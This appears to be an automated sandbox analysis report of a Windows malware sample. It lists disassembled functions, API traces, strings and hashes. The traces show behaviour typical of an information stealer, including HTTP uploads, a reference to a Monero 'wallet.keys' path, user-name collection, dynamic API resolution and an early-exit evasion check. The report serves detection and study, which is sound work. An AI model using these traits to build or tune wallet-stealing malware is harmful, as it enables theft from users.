Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 112af7c8d25c565725d371fee94c8a8986110fb840c166cdc8ab4b1e9f37fc1b
Instruction ID: 4a6562d5d55d7cd0a682a7dcf8d62d138677099f9cb6274f8c68d84b42ef8eaa
Opcode Fuzzy Hash: 112af7c8d25c565725d371fee94c8a8986110fb840c166cdc8ab4b1e9f37fc1b
Instruction Fuzzy Hash: 2741E2707C2704FBE626B7A4A8C2F9D7756DFCA708FB05846EA00526C0CBAC754047BA

Function 00464880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 004647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00464839
Part of subcall function 004647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00464849

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00464915
StrCmpCA.SHLWAPI(?,00E8E2F0), ref: 0046493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00464ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00480DDB,00000000,?,?,00000000,?,",00000000,?,00E8E3F0), ref: 00464DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00464E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00464E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00464E49
InternetCloseHandle.WININET(00000000), ref: 00464EAD
InternetCloseHandle.WININET(00000000), ref: 00464EC5
HttpOpenRequestA.WININET(00000000,00E8E270,?,00E8DCF8,00000000,00000000,00400100,00000000), ref: 00464B15

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

InternetCloseHandle.WININET(00000000), ref: 00464ECF

Strings

------, xrefs: 004649BD
", xrefs: 00464BF2
------, xrefs: 00464C69
p, xrefs: 00464B07
", xrefs: 00464D33
------, xrefs: 00464B28

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$p
API String ID: 460715078-242323141
Opcode ID: a5dd5d7ced7cb965675491fd3b4cd4d939e6c7f0f4db21a48456b986f110201a
Instruction ID: 70ef84bcfb56b942fa9088642518229fbb5e121193e992a794fd2350857230f3
Opcode Fuzzy Hash: a5dd5d7ced7cb965675491fd3b4cd4d939e6c7f0f4db21a48456b986f110201a
Instruction Fuzzy Hash: 7B1244B19101189ADB14FBA1CC52FEE7338BF94304F50859EB11A62091DF782F59CF6A

Function 00477850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004611B7), ref: 00477880
RtlAllocateHeap.NTDLL(00000000), ref: 00477887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0047789F

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 84fc16b387dfe1352d71d39aba83697e444e060a8b2069c25e66c614c90e574a
Instruction ID: 42217b52d124cd9a45e9faa1694d1129dd8d8adb878acb9ee781397b6cba406e
Opcode Fuzzy Hash: 84fc16b387dfe1352d71d39aba83697e444e060a8b2069c25e66c614c90e574a
Instruction Fuzzy Hash: D4F04FB1D44209ABC700DFD8DD49FAEBBB8EB05B11F10025AFA05A2680C7786904CFA2

Function 00461160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0046116A
ExitProcess.KERNEL32 ref: 0046117E

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 3659ec120d30370ba8d01148ff28a4c52cfb4806a5e6ef833e59fd7ae5d1fa16
Instruction ID: 3818625a87b9958b647b61b143a8a63cb47e9294c5b403f546824199f9efa5f6
Opcode Fuzzy Hash: 3659ec120d30370ba8d01148ff28a4c52cfb4806a5e6ef833e59fd7ae5d1fa16
Instruction Fuzzy Hash: BFD05E7890030CDBCB00EFE0D9496EEBB79FB0E311F00155AD90562340EB30A881CAA6

Function 00479C10 Relevance: 235.2, APIs: 112, Strings: 22, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00E76460), ref: 00479C2D
GetProcAddress.KERNEL32(75900000,00E764E0), ref: 00479C45
GetProcAddress.KERNEL32(75900000,00E88EF8), ref: 00479C5E
GetProcAddress.KERNEL32(75900000,00E88F10), ref: 00479C76
GetProcAddress.KERNEL32(75900000,00E8CD18), ref: 00479C8E
GetProcAddress.KERNEL32(75900000,00E8CDC0), ref: 00479CA7
GetProcAddress.KERNEL32(75900000,00E7B400), ref: 00479CBF
GetProcAddress.KERNEL32(75900000,00E8CBC8), ref: 00479CD7
GetProcAddress.KERNEL32(75900000,00E8CB50), ref: 00479CF0
GetProcAddress.KERNEL32(75900000,00E8CB68), ref: 00479D08
GetProcAddress.KERNEL32(75900000,00E8CAF0), ref: 00479D20
GetProcAddress.KERNEL32(75900000,00E76500), ref: 00479D39
GetProcAddress.KERNEL32(75900000,00E765E0), ref: 00479D51
GetProcAddress.KERNEL32(75900000,00E76640), ref: 00479D69
GetProcAddress.KERNEL32(75900000,00E76560), ref: 00479D82
GetProcAddress.KERNEL32(75900000,00E8CDD8), ref: 00479D9A
GetProcAddress.KERNEL32(75900000,00E8CB08), ref: 00479DB2
GetProcAddress.KERNEL32(75900000,00E7B4C8), ref: 00479DCB
GetProcAddress.KERNEL32(75900000,00E76660), ref: 00479DE3
GetProcAddress.KERNEL32(75900000,00E8CCB8), ref: 00479DFB
GetProcAddress.KERNEL32(75900000,00E8CCD0), ref: 00479E14
GetProcAddress.KERNEL32(75900000,00E8CBB0), ref: 00479E2C
GetProcAddress.KERNEL32(75900000,00E8CB38), ref: 00479E44
GetProcAddress.KERNEL32(75900000,00E76540), ref: 00479E5D
GetProcAddress.KERNEL32(75900000,00E8CB80), ref: 00479E75
GetProcAddress.KERNEL32(75900000,00E8CBE0), ref: 00479E8D
GetProcAddress.KERNEL32(75900000,00E8CB20), ref: 00479EA6
GetProcAddress.KERNEL32(75900000,00E8CB98), ref: 00479EBE
GetProcAddress.KERNEL32(75900000,00E8CCE8), ref: 00479ED6
GetProcAddress.KERNEL32(75900000,00E8CC40), ref: 00479EEF
GetProcAddress.KERNEL32(75900000,00E8CDA8), ref: 00479F07
GetProcAddress.KERNEL32(75900000,00E8CD00), ref: 00479F1F
GetProcAddress.KERNEL32(75900000,00E8CD48), ref: 00479F38
GetProcAddress.KERNEL32(75900000,00E8A068), ref: 00479F50
GetProcAddress.KERNEL32(75900000,00E8CBF8), ref: 00479F68
GetProcAddress.KERNEL32(75900000,00E8CCA0), ref: 00479F81
GetProcAddress.KERNEL32(75900000,00E76280), ref: 00479F99
GetProcAddress.KERNEL32(75900000,00E8CC88), ref: 00479FB1
GetProcAddress.KERNEL32(75900000,00E762E0), ref: 00479FCA
GetProcAddress.KERNEL32(75900000,00E8CD78), ref: 00479FE2
GetProcAddress.KERNEL32(75900000,00E8CC70), ref: 00479FFA
GetProcAddress.KERNEL32(75900000,00E76300), ref: 0047A013
GetProcAddress.KERNEL32(75900000,00E76320), ref: 0047A02B
LoadLibraryA.KERNEL32(00E8CD60,?,00475CA3,00480AEB,?,?,?,?,?,?,?,?,?,?,00480AEA,00480AE3), ref: 0047A03D
LoadLibraryA.KERNEL32(00E8CC10,?,00475CA3,00480AEB,?,?,?,?,?,?,?,?,?,?,00480AEA,00480AE3), ref: 0047A04E
LoadLibraryA.KERNEL32(00E8CD30,?,00475CA3,00480AEB,?,?,?,?,?,?,?,?,?,?,00480AEA,00480AE3), ref: 0047A060
LoadLibraryA.KERNEL32(00E8CC58,?,00475CA3,00480AEB,?,?,?,?,?,?,?,?,?,?,00480AEA,00480AE3), ref: 0047A072
LoadLibraryA.KERNEL32(00E8CD90,?,00475CA3,00480AEB,?,?,?,?,?,?,?,?,?,?,00480AEA,00480AE3), ref: 0047A083
LoadLibraryA.KERNEL32(00E8CC28,?,00475CA3,00480AEB,?,?,?,?,?,?,?,?,?,?,00480AEA,00480AE3), ref: 0047A095
LoadLibraryA.KERNEL32(00E8CE08,?,00475CA3,00480AEB,?,?,?,?,?,?,?,?,?,?,00480AEA,00480AE3), ref: 0047A0A7
LoadLibraryA.KERNEL32(00E8CEC8,?,00475CA3,00480AEB,?,?,?,?,?,?,?,?,?,?,00480AEA,00480AE3), ref: 0047A0B8
GetProcAddress.KERNEL32(75FD0000,00E767A0), ref: 0047A0DA
GetProcAddress.KERNEL32(75FD0000,00E8CF40), ref: 0047A0F2
GetProcAddress.KERNEL32(75FD0000,00E88B90), ref: 0047A10A
GetProcAddress.KERNEL32(75FD0000,00E8CF88), ref: 0047A123
GetProcAddress.KERNEL32(75FD0000,00E76900), ref: 0047A13B
GetProcAddress.KERNEL32(73B10000,00E7B270), ref: 0047A160
GetProcAddress.KERNEL32(73B10000,00E76880), ref: 0047A179
GetProcAddress.KERNEL32(73B10000,00E7B2E8), ref: 0047A191
GetProcAddress.KERNEL32(73B10000,00E8CEE0), ref: 0047A1A9
GetProcAddress.KERNEL32(73B10000,00E8CE38), ref: 0047A1C2
GetProcAddress.KERNEL32(73B10000,00E769A0), ref: 0047A1DA
GetProcAddress.KERNEL32(73B10000,00E76780), ref: 0047A1F2
GetProcAddress.KERNEL32(73B10000,00E8CE68), ref: 0047A20B
GetProcAddress.KERNEL32(763B0000,00E769C0), ref: 0047A22C
GetProcAddress.KERNEL32(763B0000,00E76760), ref: 0047A244
GetProcAddress.KERNEL32(763B0000,00E8CF10), ref: 0047A25D
GetProcAddress.KERNEL32(763B0000,00E8CEB0), ref: 0047A275
GetProcAddress.KERNEL32(763B0000,00E769E0), ref: 0047A28D
GetProcAddress.KERNEL32(750F0000,00E7B040), ref: 0047A2B3
GetProcAddress.KERNEL32(750F0000,00E7B0E0), ref: 0047A2CB
GetProcAddress.KERNEL32(750F0000,00E8CF28), ref: 0047A2E3
GetProcAddress.KERNEL32(750F0000,00E768C0), ref: 0047A2FC
GetProcAddress.KERNEL32(750F0000,00E766E0), ref: 0047A314
GetProcAddress.KERNEL32(750F0000,00E7B018), ref: 0047A32C
GetProcAddress.KERNEL32(75A50000,00E8CE80), ref: 0047A352
GetProcAddress.KERNEL32(75A50000,00E76940), ref: 0047A36A
GetProcAddress.KERNEL32(75A50000,00E88A90), ref: 0047A382
GetProcAddress.KERNEL32(75A50000,00E8CF58), ref: 0047A39B
GetProcAddress.KERNEL32(75A50000,00E8CE50), ref: 0047A3B3
GetProcAddress.KERNEL32(75A50000,00E76680), ref: 0047A3CB
GetProcAddress.KERNEL32(75A50000,00E76A00), ref: 0047A3E4
GetProcAddress.KERNEL32(75A50000,00E8CE98), ref: 0047A3FC
GetProcAddress.KERNEL32(75A50000,00E8CEF8), ref: 0047A414
GetProcAddress.KERNEL32(75070000,00E76960), ref: 0047A436
GetProcAddress.KERNEL32(75070000,00E8CF70), ref: 0047A44E
GetProcAddress.KERNEL32(75070000,00E8CFA0), ref: 0047A466
GetProcAddress.KERNEL32(75070000,00E8CDF0), ref: 0047A47F
GetProcAddress.KERNEL32(75070000,00E8CE20), ref: 0047A497
GetProcAddress.KERNEL32(74E50000,00E76740), ref: 0047A4B8
GetProcAddress.KERNEL32(74E50000,00E768A0), ref: 0047A4D1
GetProcAddress.KERNEL32(75320000,00E767C0), ref: 0047A4F2
GetProcAddress.KERNEL32(75320000,00E8C820), ref: 0047A50A
GetProcAddress.KERNEL32(6F060000,00E76700), ref: 0047A530
GetProcAddress.KERNEL32(6F060000,00E76A20), ref: 0047A548
GetProcAddress.KERNEL32(6F060000,00E76980), ref: 0047A560
GetProcAddress.KERNEL32(6F060000,00E8C850), ref: 0047A579
GetProcAddress.KERNEL32(6F060000,00E766A0), ref: 0047A591
GetProcAddress.KERNEL32(6F060000,00E767E0), ref: 0047A5A9
GetProcAddress.KERNEL32(6F060000,00E766C0), ref: 0047A5C2
GetProcAddress.KERNEL32(6F060000,00E76720), ref: 0047A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0047A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0047A607
GetProcAddress.KERNEL32(74E00000,00E8C8B0), ref: 0047A629
GetProcAddress.KERNEL32(74E00000,00E88A10), ref: 0047A641
GetProcAddress.KERNEL32(74E00000,00E8CA90), ref: 0047A659
GetProcAddress.KERNEL32(74E00000,00E8C8C8), ref: 0047A672
GetProcAddress.KERNEL32(74DF0000,00E76820), ref: 0047A693
GetProcAddress.KERNEL32(6F9C0000,00E8C868), ref: 0047A6B4
GetProcAddress.KERNEL32(6F9C0000,00E76840), ref: 0047A6CD
GetProcAddress.KERNEL32(6F9C0000,00E8C838), ref: 0047A6E5
GetProcAddress.KERNEL32(6F9C0000,00E8C8E0), ref: 0047A6FD

Strings

b, xrefs: 00479FBC
`e, xrefs: 00479D74
@f, xrefs: 00479D5C
j, xrefs: 0047A53B
InternetSetOptionA, xrefs: 0047A5E5
HttpQueryInfoA, xrefs: 0047A5FC
e, xrefs: 00479D44
i, xrefs: 0047A280
d, xrefs: 00479C38
@e, xrefs: 00479E4F
f, xrefs: 0047A307
@g, xrefs: 0047A4AB
g, xrefs: 0047A5CD
@h, xrefs: 0047A6BF
h, xrefs: 0047A686
`d, xrefs: 00479C20
`i, xrefs: 0047A428
`g, xrefs: 0047A237
g, xrefs: 0047A59C
c, xrefs: 0047A01E
@i, xrefs: 0047A35D
`f, xrefs: 00479DD6

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: c$ g$ h$ j$@e$@f$@g$@h$@i$HttpQueryInfoA$InternetSetOptionA$`d$`e$`f$`g$`i$b$d$e$f$g$i
API String ID: 2238633743-111007783
Opcode ID: 1d8e7f927a971004b65aa4ffd6abbadaf24c443f3ec6f906dc9963b27d79c80d
Instruction ID: 45e02bc2888c08cbf67cfe8773e9826e2b4bd8815e7b981c3bd27eb6bba74de6
Opcode Fuzzy Hash: 1d8e7f927a971004b65aa4ffd6abbadaf24c443f3ec6f906dc9963b27d79c80d
Instruction Fuzzy Hash: 68621BB9500210AFC395FFE8ED889A637FBE74F601714A51BA609C3264D739B841DF62

Function 00466280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 004647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00464839
Part of subcall function 004647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00464849

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

InternetOpenA.WININET(00480DFE,00000001,00000000,00000000,00000000), ref: 004662E1
StrCmpCA.SHLWAPI(?,00E8E2F0), ref: 00466303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00466335
HttpOpenRequestA.WININET(00000000,GET,?,00E8DCF8,00000000,00000000,00400100,00000000), ref: 00466385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004663BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004663D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004663FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0046646D
InternetCloseHandle.WININET(00000000), ref: 004664EF
InternetCloseHandle.WININET(00000000), ref: 004664F9
InternetCloseHandle.WININET(00000000), ref: 00466503

Strings

ERROR, xrefs: 00466407
GET, xrefs: 0046637C
ERROR, xrefs: 004664C9

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 8c5386edb69db4c66588fb5700d587d74f8b4cc0cd02b4ac3223e129c410eb29
Instruction ID: 6a19d69f3f9b240738d167258d0131123c769269154153beed399b7d773724a0
Opcode Fuzzy Hash: 8c5386edb69db4c66588fb5700d587d74f8b4cc0cd02b4ac3223e129c410eb29
Instruction Fuzzy Hash: 09718271A00218ABDB24EFE0CC45FEE7779FB44700F10855AF5096B290DBB86A85CF56

Function 00475510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0047A820: lstrlen.KERNEL32(00464F05,?,?,00464F05,00480DDE), ref: 0047A82B
